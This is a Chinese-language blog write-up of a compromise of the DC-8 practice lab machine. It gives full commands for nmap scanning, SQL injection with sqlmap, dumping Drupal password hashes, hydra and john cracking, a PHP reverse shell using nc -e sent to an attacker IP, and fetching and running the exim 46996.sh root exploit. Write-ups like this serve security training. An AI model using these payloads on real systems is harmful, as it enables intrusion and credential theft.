dc-8打靶日记

1. nmap扫描

1.1 确认目标ip地址

1
sudo nmap -sN 192.168.31.0/24

image-20240619212047488

目标地址:192.168.31.182

1.2 目标开放TCP端口

1
sudo nmap -sS --min-rate 10000 -p- 192.168.31.182 -oA nmapscan/tcpports

image-20240620185020840

该目标开放的tcp端口有:22,80

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.31.182 -oA nmapscan/udpports

image-20240620185040628

开放的udp端口其实没有太多的参考价值,没有思路的时候再考虑;

1.4 开放TCP端口详细信息

1
sudo nmap -sT -sV -sC -O -p22,80 192.168.31.182 -oA nmapscan/tcpDetails

image-20240620185427312

80端口:存在robots.txt文件,访问可以得到相关目录

操作系统:Linux3.2-4.9

网页框架信息:Drupal 7

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p22,80 192.168.31.182 -oA nmapscan/vuln

image-20240620185445735

没有什么有用的信息;

2. 信息检索

2.1 目录检索

首先根据一开始端口扫面得到的robots.txt文件去查看一下网站的目录结构;

image-20240620190533094

可以观察到可能能够获得资料信息的目录就是:(其他的也可以访问看看,说不定有意料之外的)

/admin/

/user/login

/?q=search/

/install.php

/update.php

/user/login来到了用户登录界面,但是根据前面的靶场这个9成也是后台登录界面

image-20240620190949536

随后其他页面大部分也拒绝访问,应该是因为没有账号登录;

来到网页首页,随便点点后发现点击右侧的Details的控件后,出现了疑似sql注入点

image-20240620192649477

通过手动注入验证,发现在数字后加入单引号引起报错,可以基本确定是sql注入点

1
http://192.168.31.182/?nid=1'

image-20240620192905392

通过order by确定其查询数据库的字段数,依次增加知道网站报错前即可,最后发现其仅查询了一个字段

1
http://192.168.31.182/?nid=-1 order by 1

通过该字段查询一下数据库信息

1
http://192.168.31.182/?nid=-1 union select group_concat(schema_name) from information_schema.schemata

image-20240620193433420

真的拿到了数据库的信息,那么我们上sqlmap

1
sqlmap -u "http://192.168.31.182/?nid=1"

image-20240620194242568

1
sqlmap -u "http://192.168.31.182/?nid=1" --dbs

image-20240620194327932

1
sqlmap -u "http://192.168.31.182/?nid=1" -D d7db --tables

image-20240620195302681

可以看到有个users表,一般是记录用户相关信息的;查看一下其列表名

1
sqlmap -u "http://192.168.31.182/?nid=1" -D d7db -T users --columns

image-20240620195747699

可以看到有name和pass字段,这两个字段没有不看的理由的

1
sqlmap -u "http://192.168.31.182/?nid=1" -D d7db -T users -C name,pass --dump

image-20240620195927014

admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

可以看到相应的用户名和通过加密的密码。有了密码,想办法尝试破解一下,使用john和hydra等工具进行尝试;

2.2 hydra密码爆破

首先创建一个用户名字典

1
2
touch usernameDict.txt
vim usernameDict.txt

向字典中写入用户名adminjohn,然后使用hydra攻击对目标机器的ssh进行爆破

1
hydra -L usernameDict.txt -P /usr/share/wordlists/rockyou.txt -e ns 192.168.31.182 ssh

image-20240620205239935

hydra爆破了大概半个钟也没出什么结果,也没什么必要进行下去了,时间太长了,真实环境早该被发现了;

2.3 john密码爆破

相同的方式将加密后的密码放置到一个文档hash-passwd.txt中,然后使用john工具对密码进行破解

1
john hash-passwd.txt

image-20240620205446347

可以看到已经出现了一个密码,但是不确定是admin还是john的密码,使用这个密码登录一下后台试试(通过尝试后知道,这个密码是john用户的密码)

后面一个密码爆破了半个多小时也没爆破出来

image-20240621235811855

2.4 webShell

通过对网页的不断翻找和信息查询,最后在Contact Us中的Webform中找到了可以执行php命令的地方

image-20240622000003091

其中存在一个设置的选项,能够选择文本的编码,其中存在php code文本格式,可以执行php指令

image-20240622000317412

简单进行一下测试看看怎么能够触发,先写入phpinfo()试试

image-20240622000932407

经过测试,当我们成功提交了联系邮件后则会触发我们写入的php语句,那么我们只需要写入相应的shell反弹语句,将shell反弹到我们的攻击机即可。

image-20240622000911256

写入一下反弹shell脚本,攻击机监听5555端口;

1
2
3
4
5
6
7
8
9
10
11
<?php
// 攻击机器IP和监听端口
$target_ip = '192.168.111.129';
$target_port = '5555';

// 构建反弹Shell命令
$command = "nc $target_ip $target_port -e /bin/sh";

// 执行反弹Shell命令
system($command);
?>

然后我们再次提交一份联系表单即可,可以看到攻击机已经成功接入

image-20240622001809479

开启交互

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20240622001909291

3. 提权

3.1 命令提权

1
find / -perm -u=s -type f 2>/dev/null

image-20240622002908421

又查到了exim4,这个的价值还是蛮大 的

查查他的版本看看

1
exim --version

image-20240622003209154

ok,版本号4.89,和dc-7一样,但是dc-7没有成功(可能和命令不能直接执行有关),dc-8继续尝试,和dc-7一样的操作

将相应的漏洞利用脚本下载到当前目录,并复制到服务目录中,打开apache2提供服务供目标机子下载脚本;

1
2
3
4
searchsploit exim 4
searchsploit -m 46996.sh
cp 46996.sh /var/www/html/
sudo systemctl start apache2

使用目标机子进入/tmp目录下载漏洞利用脚本

1
2
3
4
cd /tmp
wget http://192.168.111.129/46996.sh
chmod +x 46996.sh
./46996.sh -m netcat

image-20240622004248895

image-20240622004724159

ok提权成功,靶场结束,找找flag吧

1
find / -name *flag*

image-20240622004913291


dc-8打靶日记
http://candyb0x.github.io/2024/06/22/dc-8打靶日记/
作者
Candy
发布于
2024年6月22日
更新于
2024年8月12日
许可协议